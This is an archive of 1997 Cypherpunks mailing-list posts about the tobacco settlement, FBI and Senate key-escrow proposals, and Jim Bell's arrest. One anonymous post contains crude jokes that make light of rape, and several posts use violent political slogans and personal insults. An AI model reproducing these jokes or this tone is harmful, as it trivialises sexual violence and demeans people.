> >the parties of a civil suit.
> 
> The agreement halts future lawsuits, thus depriving those who have not yet
> sued, or even those who have not yet contemplated suing, from seeking
> redress in the courts.

I don't think it is correct that the deal halts future lawsuits from 
other parties, only from the signers of the deal.

> This would seem to be a rather major constitutional issue.

Not really.  It would just be unconstitutional, and almost certainly
thrown out.  I don't think the lawyers involved are that stupid.  By
getting the major tobacco companies to an essentially private
agreement they have achieved their goals -- it would be silly to
depend on a fickle, money-hungry congress to pass some laws to enforce
it. 

> It's also unclear whether the "agreement" covers tobacco companies not even
> extant at this time (hence my use of the "Tim's Tobacco Company" example,
> where TTC is incorporated in 1998 and begins advertising with Joe
> Camel-type ads. Several states attorneys general have opinined that the
> deal means a complete end to such advertising, to sponsorship of sporting
> events by tobacco companies, etc.

As a practical matter, yes.  As a matter of law, no.  TTC isn't going
to be sponsoring tennis tournaments any time soon, I trust?  It's 
*big* tobacco that is under attack here -- the small fry don't matter.

> BTW, we're not the only ones who think this agreement, and the enabling
> legislation which is supposed to come from Congress, raise very serious
> constitutional questions.

Could you find a reference to this putative enabling legislation? I
think it is a figment of somebody's imagination.  My impression was
that the "stick" wasn't new legislation, but rather the imminent
regulation of nicotine as a drug.  There *may* be such legislation in
the works, but it seems completely unnecessary for the anti-tobacco
forces to accomplish their aims, and, in fact, a stupid thing to 
depend on.

> The problem may lie in class action suits in general. 

Completely different issue, I believe, one I would not care to argue 
either way.

[...]
> 
> There are indeed deep constitutional issues involved in both of the cases
> being discussed in this thread.

There may be some constitutional issues in the ratings issue, but all 
I have seen on this thread so far is speculation about issues that 
*might* be present.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tcmay at got.net  Fri Jul 11 12:36:01 1997
From: tcmay at got.net (Tim May)
Date: Sat, 12 Jul 1997 03:36:01 +0800
Subject: NEWS: Freedom of Movement Could Cripple Cops, FBI Warns
Message-ID: 




No comment needed.

>Date: Fri, 11 Jul 1997 12:13:18 -0700
>
>Freedom of Movement Could Cripple Cops, FBI Warns
>
> By Klaus Prime
>
>WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
>his sternest warning yet that freedom of movement by citizen units could
>wreak havoc on crime-fighting efforts.
>
>But travel industry participants warned that U.S. restrictions on freedom
>of movement, which would require citizen units to notify law enforcment of
>their travel plans and check in at police stations would merely boost
>travel to foreign countries which don't have such restrictions.
>
>Freeh urged Congress to promote the use of a type of "position escrow"
>that allows law enforcement agents to track the locations of terrorists,
>child pornographers, money launderers, and other thought criminals by
>using the position escrow data base. "Access to the position escrow data
>base would only be by legitimate law enforcement personnel," Freeh said.
>
>"Law enforcement is in unanimous agreement that the widespread freedom of
>criminals to move about freehly will devastate our ability to fight crime
>and prevent terrorism," the FBI director testified before the Senate
>Judiciary Committee.
>
>Freeh has spoken out numerous times against the unrestricted ability of
>citizen units to move about freehly, but his remarks Wednesday focused
>mainly on the threat to law enforcement efforts within the United States.
>
>Current laws place few restrictions on where citizen units may travel and
>live, except for parolees and sex offenders, and some scholars believe
>restrictions on U.S. citizens might be unconstitutional.
>
>Wednesday, 9 July 1997 17:45:40
>RTRS [nN09285032]
>







From tcmay at got.net  Fri Jul 11 12:53:41 1997
From: tcmay at got.net (Tim May)
Date: Sat, 12 Jul 1997 03:53:41 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: 



At 12:06 PM -0700 7/11/97, Kent Crispin wrote:
>On Fri, Jul 11, 1997 at 11:28:39AM -0700, Tim May wrote:

>> The agreement halts future lawsuits, thus depriving those who have not yet
>> sued, or even those who have not yet contemplated suing, from seeking
>> redress in the courts.
>
>I don't think it is correct that the deal halts future lawsuits from
>other parties, only from the signers of the deal.

Well, what more is there to say? You obviously have not bothered to follow
this issue, or you would surely know that a key provision of the deal, and
probably one of the main things that made it somewhat attractive to the
tobacco companies is that it put an end to future lawsuits.

(How could it be otherwise, as a deal? If the tobacco companies paid out
$360 billion to the current crop of folks suing them (some fraction to the
suers, some fraction for education and health programs, etc.), and then in
5 years or so _another crop_ of folks demanded "their" hundreds of
billions, and so on forever....)

Here is just one of the recent news stories on this point:

"Tuesday July 8 11:59 AM EDT

"Lawyer sues over tobacco deal

"CHICAGO, July 8 (UPI) _ Attorney Kenneth Moll says the agreement between
more than three dozen states and the tobacco industry will
compromise the rights of individuals and he has filed suit challenging that
part of the agreement that protects cigarette-makers from future
suits. "

Now is it clearer to you what we've been discussing? Jeesh.

(I could spend more time with HotBot or Alta Vista digging up more news
stories, inclduding the actual text of the agreement, such as it has been
publicized, but I don't plan to spend my time recapping the obvious. Check
out the news stories in the June 20-22 period for more details than you can
read in a day of reading.)





>> BTW, we're not the only ones who think this agreement, and the enabling
>> legislation which is supposed to come from Congress, raise very serious
>> constitutional questions.
>
>Could you find a reference to this putative enabling legislation? I
>think it is a figment of somebody's imagination.  My impression was
>that the "stick" wasn't new legislation, but rather the imminent
>regulation of nicotine as a drug.  There *may* be such legislation in
>the works, but it seems completely unnecessary for the anti-tobacco
>forces to accomplish their aims, and, in fact, a stupid thing to
>depend on.

I just plain give up on you, Kent. You obviously have not been reading or
following the news. The "deal" requires Congressional action...there have
been scads of stories on this precise point, and Clinton is already making
noises about not signing the legislation unless details are changed. Again,
spend a few minutes in a search engine. (Try typing "tobacco" into Yahoo's
news search engine, for example.)

No point in even debating someone who is ignorant of the basics in the debate.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at REPLAY.COM  Fri Jul 11 13:13:38 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 04:13:38 +0800
Subject: New Add-On Law / Re: Freeh's Testimony (FBI Seeks Domestic GAK)
Message-ID: <199707111954.VAA02222@basement.replay.com>



Duncan Frissell wrote:
 
> More generally, it is legal not to speak and thus to deprive police and
> prosecutors of the contents of your mind.  Crypto just extends this right.

  Duncan, as he often does, points out a small truth which goes
to the very heart of the issue of criminalizing strong encryption.

  Criminalizing crypto is criminalizing _private_speech_ and also
_private_thought_.
  Mark my words, when the day comes that LEA's have the technology
to read human thoughts, then we will be seeing this same debate 
taking place in that arena. The "legitimate needs of law enforcement"
rhetoric, et al, will be drug out for the billionth time to thwart
the danger that a CypherPunk might fart in the woods without an
LEA recording it.

  Think back to the first time you read "1984" and think about what
you, yourself, could _add_ to the book from your own personal
knowledge and experience since that date.
  If we added all of the instances of "Big Brother" becoming an
accepted reality of everyday life since then, the tome would rival
"War and Peace" in volume and scope.

  If I choose to write my prayers on a word processor, in order to
better organize my spiritual thoughts and be able to reference them
to remember my promises to God, does the State have a right to
demand I let them view those prayers, and private religious thoughts?
  If I use a computer to write my attorney, perhaps even outlining
my activities, etc., in regard to criminal charges against me, does
the State have a right to demand access to it?
  Am I allowed to whisper to my lawyer in court, but not to type
what I want him to know on a computer screen he has in front of
him in the same courtroom?

  Am I allowed to tell a $200/hour psychiatrist that someone made me
mad enough to "kill" them in order to stay sane enough not to do so,
and have it kept confidential, but be denied the right, if I am a
poor person, to do the exact same thing in writing on my computer,
with the help of a $4.95 paperback self-help/psychology book?
  Have private thoughts been "corporatized/governmentized" somehow?
Are our private thoughts sacred only when shared with a recognized
authority? If I share them with myself, do they become the property
of the State?

  Am I totally out of my mind, or has life become tremendously
fucking scary, and nobody but me has noticed?
  Sometimes I feel like the guy on the plane in the "Twilight Zone"
movie, who is the only one who can see the monster on the plane's
wing that is endangering everyone's life. And if you shoot at the
monster nobody else can see, then they strap you down and take you
to the rubber room. (Obvious analogy to McVeigh and Death Row 
purely unintentional.)
  {"Your honor, this search warrant is for the purpose of cracking
the suspect's head open with a crowbar and prying his brain out so
that we can poke around, in _good_faith_, I assure you, and look
for evidence that pertains to a crime that may have been committed.")

  If you don't provide a breathalyzer sample, you are automatically
guilty of drunken driving (even if the DMV License Tester is handing
you a perfect score/report as the officer places you in handcuffs).
  I have no doubt that under future key escrow laws that your prayers
to God and your letters to yourself detailing the most intimate 
details of your life will make you automatically guilty of tax evasion
unless you allow strangers who are hostile to you (police, judges,
prosecutors) to read them.
  Yes, and one day, even our private thoughts will be considered to
automatically make us guilty criminals unless we allow LEA's access
to them. (The "lie detector" is a case in point, and it has in the
past come dangerously close to being afforded the same status as
the breathalyzer, even though it represents "voodoo" as much as it
does "science.")

  If a tree falls in the forest, and nobody hears it--is it a drug
trafficking tree or a child molesting tree?

TruthMonger






From nobody at REPLAY.COM  Fri Jul 11 13:51:06 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 04:51:06 +0800
Subject: Routing around damage
Message-ID: <199707112041.WAA07968@basement.replay.com>



Remember "the internet interprets censorship as damage and routes around
it"?  I'd be happy with an internet that interprets DAMAGE as damage and
routes around it.

>A minor construction accident in San Jose, California, caused
>three hours of Internet slowdowns this morning, especially for
>those trying to connect to and from West Coast Web sites.

>Backbone Internet providers route requests and information
>through about a half-dozen network access points (NAPs).
>When one has a problem, it can affect the entire Internet.






From kent at songbird.com  Fri Jul 11 14:28:01 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 12 Jul 1997 05:28:01 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <19970711141401.20013@bywater.songbird.com>



On Fri, Jul 11, 1997 at 12:45:15PM -0700, Tim May wrote:
[...]
> 
> Well, what more is there to say? You obviously have not bothered to follow
> this issue, or you would surely know that a key provision of the deal, and
> probably one of the main things that made it somewhat attractive to the
> tobacco companies is that it put an end to future lawsuits.

No, it does not.  It puts an end to certain *kinds* of lawsuits, most
notably, class action suits, and it limits punitive damages.  But it
is not a blanket end lawsuits, as you seem to believe. 

> (How could it be otherwise, as a deal? 

I don't know, Tim.  It's just that it *is* otherwise, as a deal.

[...]

> Now is it clearer to you what we've been discussing? Jeesh.

Somewhat.  Presumably it is for you, as well.

[...]

> I just plain give up on you, Kent. You obviously have not been reading or
> following the news. The "deal" requires Congressional action...there have
> been scads of stories on this precise point, and Clinton is already making
> noises about not signing the legislation unless details are changed.

You are right, I was wrong, the deal does require congressional
action.  You are also right that I haven't been spending a lot of time
following this story.  However, it is obvious, given your obvious lack
of understanding of the details about which suits were blocked and
which were not, that you weren't paying close attention either. 

Relax.  No need to be indignant.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at REPLAY.COM  Fri Jul 11 15:07:22 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 06:07:22 +0800
Subject: NEWS: Freedom of Movement Could Cripple Cops, FBI Warns
Message-ID: <199707112157.XAA17345@basement.replay.com>



On Fri, 11 Jul 1997, Tim May wrote:
> No comment needed.
>
> >Freedom of Movement Could Cripple Cops, FBI Warns
> >
> > By Klaus Prime
> >
> >WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
> >his sternest warning yet that freedom of movement by citizen units could
> >wreak havoc on crime-fighting efforts.

This is proof that Freeh has finally learnt to read, and has completed (we
hope) "1984" and is applying it to his own world. Perhaps Freeh wasn't
allowed to become a Big Brother, for the group of the same name.
On Fri, 11 Jul 1997, Tim May wrote:
> No comment needed.
>
> >Freedom of Movement Could Cripple Cops, FBI Warns
> >
> > By Klaus Prime
> >
> >WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
> >his sternest warning yet that freedom of movement by citizen units could
> >wreak havoc on crime-fighting efforts.

This is proof that Freeh has finally learnt to read, and has completed (we
hope) "1984" and is applying it to his own world. Perhaps Freeh wasn't
allowed to become a Big Brother, for the group of the same name.






From nobody at REPLAY.COM  Fri Jul 11 15:24:12 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 06:24:12 +0800
Subject: New Add-On Law
Message-ID: <199707112205.AAA18985@basement.replay.com>



Can the LEA have a blanket wiretap in a confessional booth 
in hopes of gaining evidence of organized crime? Are they permitted
to monitor all confessions or just the ones stated in the
warrant? 

Do LEA view themselves as God?

Forgive me mother for I have sinned. I have used un-GAKd crypto
in my preperations of my writings about theology. 






From tcmay at got.net  Fri Jul 11 15:34:42 1997
From: tcmay at got.net (Tim May)
Date: Sat, 12 Jul 1997 06:34:42 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: 



At 2:14 PM -0700 7/11/97, Kent Crispin wrote:
>On Fri, Jul 11, 1997 at 12:45:15PM -0700, Tim May wrote:
>[...]
>>
>> Well, what more is there to say? You obviously have not bothered to follow
>> this issue, or you would surely know that a key provision of the deal, and
>> probably one of the main things that made it somewhat attractive to the
>> tobacco companies is that it put an end to future lawsuits.
>
>No, it does not.  It puts an end to certain *kinds* of lawsuits, most
>notably, class action suits, and it limits punitive damages.  But it
>is not a blanket end lawsuits, as you seem to believe.

You're a fool and a knave. You claim I said "all" lawsuits, when it was
clear from my posts, the posts of Peter Swire, and others, that the Deal
involved an end (if upheld) to various kinds of lawsuits, raising serious
constitutional issues.

The "all" is your addition to my words. I don't recall ever making any
statement that "all lawsuits" are blocked, settled, etc. Presumably R.J.
Reynolds could still be sued for having slippery floors in their corporate
buildings...I don't know. What I do know is that the Deal bars lawsuits
from those not even part of the class action lawsuits: it effectively gives
a grant of perpetual immunity for smoking-related damages to the tobacco
companies. _This_ is the main issue being discussed, along with other parts
of the Deal, such as the touted banishment of the Marlboro Man, Joe Camel,
and similar images from all advertising and sponsorship of sporting events.

And to show your knavishness, the point you made was this:

"I don't think it is correct that the deal halts future lawsuits from
other parties, only from the signers of the deal."

This is patently wrong, as the various lawsuits being filed, or planned to
be filed, show. The Deal would halt future lawsuits from smokers, even
those who have not yet engaged in any class action suit (even those who
have not yet started smoking, even those not yet born, as experts
understand the language of the Deal). These are certainly constitutional
issues, not mere agreements between parties to a deal, as you allege.


>> (How could it be otherwise, as a deal?
>
>I don't know, Tim.  It's just that it *is* otherwise, as a deal.

You're disingenuous, as usual. I've come to expect nothing different from you.

The Deal raises substantive issues in many areas, as nearly all news
reports are showing. Critics are emerging from all corners, ranging from
Ralph Nader to the ACLU. Clinton has said he will veto the Congressional
legislation if it enacts the language currently in the Deal. Lawsuits have
already been filed.

>Relax.  No need to be indignant.
>

I'll be indignant if I wish. Your intent clearly is to troll this group
with government-friendly shilling. And like Sternlight, you mask your
ignorance on many issues with pomposity. Like Detweiler and Vulis, your
intent is to disrupt the group.

Taking you out of my Eudora filter file--as I periodically do with almost
everyone in that file--was a mistake. Back in you go.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From randerso at ece.eng.wayne.edu  Fri Jul 11 15:51:10 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sat, 12 Jul 1997 06:51:10 +0800
Subject: Routing around damage
In-Reply-To: <199707112041.WAA07968@basement.replay.com>
Message-ID: 



On Fri, 11 Jul 1997, Anonymous wrote:

> Remember "the internet interprets censorship as damage and routes around
> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
> routes around it.

It does.. It's just that when you lose a *large* access point, the impact
is significant.  (I think that's what happened here...)

> 
> >A minor construction accident in San Jose, California, caused
> >three hours of Internet slowdowns this morning, especially for
> >those trying to connect to and from West Coast Web sites.
> 
> >Backbone Internet providers route requests and information
> >through about a half-dozen network access points (NAPs).
> >When one has a problem, it can affect the entire Internet.
> 
> 


-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From nobody at REPLAY.COM  Fri Jul 11 15:56:58 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 06:56:58 +0800
Subject: From Bad to Worse / Re: Jim Bell (FINALLY!) Charged
Message-ID: <199707112241.AAA25669@basement.replay.com>



Duncan Frissell wrote:
> >Oregonian Friday July 11, 1997 Page B3
> >
> >James D. Bell was charged Wednesday with interfearing with a federal
> >officer
> >and using false Social Security numbers.  He has been held without
> >bail in the Pierce County Jail since his May 18 arrest.

> [Warning! Old, politically incorrect law school joke coming up.]
> What was the biggest charge reduction in the history of plea bargaining?
> That would have been the reduction from a charge of Sodomy to a charge of
> Following Too Close. -- From the International Committee for the Preservation
> of Politically Incorrect Law School Jokes.

  I was arrested for "arson." They said that if I'd turned her over,
then the charge would have been "rape."
  My lawyer pleaded it down to "assault with a friendly weapon."
(The prosecutor argued for "dangerous weapon," but I was fortunate
enough to have a male judge, so the evidence didn't stand up in
court when it was presented for inspection.)

> >In an affidavit for the search warrant, IRS Special Investigator Jeff
> >Gordon said that Bell was "directly soliciting others to set up a system
> >to murder government officials" and that he had devised a plan to
> >overthrow the government.
> 
> So where are these "others" and why are they still being allowed to walk the
> streets? 

  Perhaps the others are all decent, law-abiding conspirators who
planned to have Dr.Kevorkian "help" government officials and, rather
than "overthowing" the government, will merely act as executors 
(pardon the pun) of the e$tate.

> All right.  You forced me.  "Why do they call it the 'Reasonable Man Test'?
> Because there's no such thing as a reasonable woman."  (See Above)  [Duck and
> Cover!]

  Everyone knows what "Coyote Ugly" is...do you know what "Jailbird
Ugly" is?
  It's when a woman is so ugly that her rapist is sentenced to
_do_ her again--from the front.

ArsonAssed
"Justice is a two-edged place to put your sword."

Something's wrong when I'm sodomized under an increasing number of laws.
Only one response to the dick grabbers is warranted: "Pull!...Pull!"
---------:---------:---------:---------:---------:---------:---------:----
Mayor Maynot                | Sexual Anarchy: raincoat encryption, 
mm at got.sum     408-728-0152 | anonymous sex, digital fetishes, Zippo
W.A.S.T.E.: Corralitos, CA  | knowledge, bad reputations, sex markets,
Higher Power: 2^1398269     | black sex markets, collapse of boners.
"Chastity belts aren't even hemmeroids on the anal bi-way."







From root at nwdtc.com  Fri Jul 11 17:25:01 1997
From: root at nwdtc.com (Alan Olsen)
Date: Sat, 12 Jul 1997 08:25:01 +0800
Subject: McCain Open to Key Recovery Alternative                            by Rebecca Vesely                             3:06pm  11.Jul.97.PDT Senator John McCain, sponsor of legislation that                            would create a domestic key recovery system for all encrypted                            commercial transactions and personal communications, said Friday that                            he is open to hearing alternatives to such a plan.                             "We are not wedded entirely to key recovery," the Arizona Republican                            said in an interview.                             McCain, chairman of the Senate Commerce, Science, and Transportation                            Committee, and Senator Bob Kerrey (D-Nebraska) introduced the                            Secure Public Networks Act last month. Privacy advocates and much of                            the high-tech industry oppose domestic key recovery on grounds that it                            would violate civil rights and be impractical and expensive to build and                            manage.                             McCain said he met with Microsoft representatives recently to discuss                            a new technology being developed by the software giant that could be                            less intrusive and problematic than key recovery. The senator also said                            he plans to meet with Netscape officials next week to discuss yet                            another alternative.                             Officials from Netscape were not immediately available for comment.                             "I'm saying, OK, if you have another solution, I'd like to hear it,"                            McCain said, though he stressed that protecting national security                            remains his "first obligation."                             The McCain-Kerrey bill includes provisions for setting up a voluntary                            domestic key recovery system, including incentives for those who                            participate. Critics say participation in the key-management                            infrastructure wouldn't really be voluntary - it would be a                            prerequisite to conducting electronic commerce. Encryption, or                            data-scrambling technology, is widely viewed as the cornerstone to                            e-commerce because it conceals credit card numbers and other personal                            information traveling over networks. Key recovery, as outlined in the                            bill, would create a system of certificate authorities to whom users                            would give a copy of their data keys. Law enforcement could then access                            that copy of your key through a court order.                             McCain's flexibility on the issue could influence the debate over how                            to protect national security while allowing a free market to flourish in                            the digital age.                             Just two days ago, at a Senate Judiciary Committee hearing on the bill,                            FBI director Louis Freeh testified on the need for mandatory domestic                            key recovery, and some senators on the committee, notably the                            chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of                            domestic key recovery is needed to allow law enforcement to wiretap                            suspect digital communications and transactions.
Message-ID: <33C6CF32.6EB8@nwdtc.com>



http://www.wired.com/news/news/politics/story/5133.html


McCain Open to Key Recovery Alternative

by Rebecca Vesely 
3:06pm  11.Jul.97.PDT 

Senator John McCain, sponsor of legislation that
would create a domestic key recovery system for all encrypted
commercial transactions and personal communications, said Friday that
he is open to hearing alternatives to such a plan. 

"We are not wedded entirely to key recovery," the Arizona Republican
said in an interview. 

McCain, chairman of the Senate Commerce, Science, and Transportation
Committee, and Senator Bob Kerrey (D-Nebraska) introduced the
Secure Public Networks Act last month. Privacy advocates and much of
the high-tech industry oppose domestic key recovery on grounds that it
would violate civil rights and be impractical and expensive to build and
manage. 

McCain said he met with Microsoft representatives recently to discuss
a new technology being developed by the software giant that could be
less intrusive and problematic than key recovery. The senator also said
he plans to meet with Netscape officials next week to discuss yet
another alternative. 

Officials from Netscape were not immediately available for comment. 

"I'm saying, OK, if you have another solution, I'd like to hear it,"
McCain said, though he stressed that protecting national security
remains his "first obligation." 

The McCain-Kerrey bill includes provisions for setting up a voluntary
domestic key recovery system, including incentives for those who
participate. Critics say participation in the key-management
infrastructure wouldn't really be voluntary - it would be a
prerequisite to conducting electronic commerce. Encryption, or
data-scrambling technology, is widely viewed as the cornerstone to
e-commerce because it conceals credit card numbers and other personal
information traveling over networks. Key recovery, as outlined in the
bill, would create a system of certificate authorities to whom users
would give a copy of their data keys. Law enforcement could then access
that copy of your key through a court order. 

McCain's flexibility on the issue could influence the debate over how
to protect national security while allowing a free market to flourish in
the digital age. 

Just two days ago, at a Senate Judiciary Committee hearing on the bill,
FBI director Louis Freeh testified on the need for mandatory domestic
key recovery, and some senators on the committee, notably the
chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
domestic key recovery is needed to allow law enforcement to wiretap
suspect digital communications and transactions.






From alano at teleport.com  Fri Jul 11 17:33:01 1997
From: alano at teleport.com (Alan)
Date: Sat, 12 Jul 1997 08:33:01 +0800
Subject: McCain Open to Key Recovery Alternative
Message-ID: 



Lets try that again...

http://www.wired.com/news/news/politics/story/5133.html


McCain Open to Key Recovery Alternative

by Rebecca Vesely 
3:06pm  11.Jul.97.PDT 

Senator John McCain, sponsor of legislation that
would create a domestic key recovery system for all encrypted
commercial transactions and personal communications, said Friday that
he is open to hearing alternatives to such a plan. 

"We are not wedded entirely to key recovery," the Arizona Republican
said in an interview. 

McCain, chairman of the Senate Commerce, Science, and Transportation
Committee, and Senator Bob Kerrey (D-Nebraska) introduced the
Secure Public Networks Act last month. Privacy advocates and much of
the high-tech industry oppose domestic key recovery on grounds that it
would violate civil rights and be impractical and expensive to build and
manage. 

McCain said he met with Microsoft representatives recently to discuss
a new technology being developed by the software giant that could be
less intrusive and problematic than key recovery. The senator also said
he plans to meet with Netscape officials next week to discuss yet
another alternative. 

Officials from Netscape were not immediately available for comment. 

"I'm saying, OK, if you have another solution, I'd like to hear it,"
McCain said, though he stressed that protecting national security
remains his "first obligation." 

The McCain-Kerrey bill includes provisions for setting up a voluntary
domestic key recovery system, including incentives for those who
participate. Critics say participation in the key-management
infrastructure wouldn't really be voluntary - it would be a
prerequisite to conducting electronic commerce. Encryption, or
data-scrambling technology, is widely viewed as the cornerstone to
e-commerce because it conceals credit card numbers and other personal
information traveling over networks. Key recovery, as outlined in the
bill, would create a system of certificate authorities to whom users
would give a copy of their data keys. Law enforcement could then access
that copy of your key through a court order. 

McCain's flexibility on the issue could influence the debate over how
to protect national security while allowing a free market to flourish in
the digital age. 

Just two days ago, at a Senate Judiciary Committee hearing on the bill,
FBI director Louis Freeh testified on the need for mandatory domestic
key recovery, and some senators on the committee, notably the
chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
domestic key recovery is needed to allow law enforcement to wiretap
suspect digital communications and transactions.






From tcmay at got.net  Fri Jul 11 18:09:22 1997
From: tcmay at got.net (Tim May)
Date: Sat, 12 Jul 1997 09:09:22 +0800
Subject: Microsoft and Netscape to Provide McCain with Options?
In-Reply-To: <33C6CF32.6EB8@nwdtc.com>
Message-ID: 



(I changed the message name, as it appeared to be entirely too many lines! :-})

At 5:26 PM -0700 7/11/97, Alan Olsen wrote:

>McCain Open to Key Recovery Alternative
>
>by Rebecca Vesely

>McCain said he met with Microsoft representatives recently to discuss
>a new technology being developed by the software giant that could be
>less intrusive and problematic than key recovery. The senator also said
>he plans to meet with Netscape officials next week to discuss yet
>another alternative.

This is something we should watch _very_ closely!

I cannot imagine any solution acceptable to statists like McCain, Kerrey,
Swinestein, Clinton, Freeh, and all the others that would even remotely be
acceptable to anyone who cherishes liberty.

The extreme danger is that the McCain-Kerrey bill was just so plain
terrible that it is being used as a bargaining chip to get a "compromise."
And that compromise could be fed by helpful, hopeful corporate spinmeisters.

The danger is that the work MS was doing a few years ago on key recovery
could be made part of the basis of the "new industry compromise." I had
hoped this had died when Chairman Gates came out so strongly against key
escrow and GAK in his book.

(The recent discussion of "collective contracts," where an
industry-government deal binds us all, is timely.)

>Just two days ago, at a Senate Judiciary Committee hearing on the bill,
>FBI director Louis Freeh testified on the need for mandatory domestic
>key recovery, and some senators on the committee, notably the
>chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
>domestic key recovery is needed to allow law enforcement to wiretap
>suspect digital communications and transactions.

The ground is shifting rapidly from "we need a law to recapitulate
Americans' right to strong crypto" (Pro-CODE) to "we need key recovery in
exported products and when government networks are involved"
(McCain-Kerrey) to "some sort of domestic key recovery is needed"
(Freeh-Hatch-Pol Pot).

Let them all hang.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alano at teleport.com  Fri Jul 11 18:45:28 1997
From: alano at teleport.com (Alan)
Date: Sat, 12 Jul 1997 09:45:28 +0800
Subject: Microsoft and Netscape to Provide McCain with Options?
In-Reply-To: 
Message-ID: 



On Fri, 11 Jul 1997, Tim May wrote:

> (I changed the message name, as it appeared to be entirely too many lines! :-})

I accidently pasted the whole message into the subject line.  Netscape
does not show anything beyond the first line, so it went unnoticed until
after I sent it.  Oh well...

> At 5:26 PM -0700 7/11/97, Alan Olsen wrote:
> 
> >McCain Open to Key Recovery Alternative
> >
> >by Rebecca Vesely
> 
> >McCain said he met with Microsoft representatives recently to discuss
> >a new technology being developed by the software giant that could be
> >less intrusive and problematic than key recovery. The senator also said
> >he plans to meet with Netscape officials next week to discuss yet
> >another alternative.
> 
> This is something we should watch _very_ closely!

I agree.  The article seemed to imply that both Microsoft and Netscape
were falling all over each other trying to come up with gak-like
alternatives to key recovery.  I wonder what Tom Weinstien can tell us
about that...  (He has been a bit quiet lately...  Too quiet.)

> I cannot imagine any solution acceptable to statists like McCain, Kerrey,
> Swinestein, Clinton, Freeh, and all the others that would even remotely be
> acceptable to anyone who cherishes liberty.

Neither can I.  They seem to think they have the right and responsibility
to dictate the morals and thoughts of others.  I wonder what the public
response would be if this were a set of laws about opening and recording
the contents of snail-mail?  Or sending mail in envelopes that cannot be
opened without detection...  (Judging by the current cluelessness of the
general public, not much.)

> The extreme danger is that the McCain-Kerrey bill was just so plain
> terrible that it is being used as a bargaining chip to get a "compromise."
> And that compromise could be fed by helpful, hopeful corporate spinmeisters.
> 
> The danger is that the work MS was doing a few years ago on key recovery
> could be made part of the basis of the "new industry compromise." I had
> hoped this had died when Chairman Gates came out so strongly against key
> escrow and GAK in his book.

Anything to make a buck.  Check out Microsoft's crypto API sometime.
There are all sorts of little hooks to enforce the export regs and make
strong crypto difficult.  (Best using another library all together as far
as I am concerned.  Especially since they seem to change the API every
other month.)

> (The recent discussion of "collective contracts," where an
> industry-government deal binds us all, is timely.)

The ties that bind... or choke...

> >Just two days ago, at a Senate Judiciary Committee hearing on the bill,
> >FBI director Louis Freeh testified on the need for mandatory domestic
> >key recovery, and some senators on the committee, notably the
> >chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
> >domestic key recovery is needed to allow law enforcement to wiretap
> >suspect digital communications and transactions.
> 
> The ground is shifting rapidly from "we need a law to recapitulate
> Americans' right to strong crypto" (Pro-CODE) to "we need key recovery in
> exported products and when government networks are involved"
> (McCain-Kerrey) to "some sort of domestic key recovery is needed"
> (Freeh-Hatch-Pol Pot).

Actually I think that Freeh is being the most honest of the whole bunch.
I don't think any of them believe in free speech for the masses.  (For
them, yes.  For everyone else, no.)  Freeh just has enough of a spin and
created "crisis" for him to get away with it.

And with the new "Child Porn Epedemic"...  It makes me wonder if
"Operation Looking Glass" has moved to the net.  (Covertly, of course.)

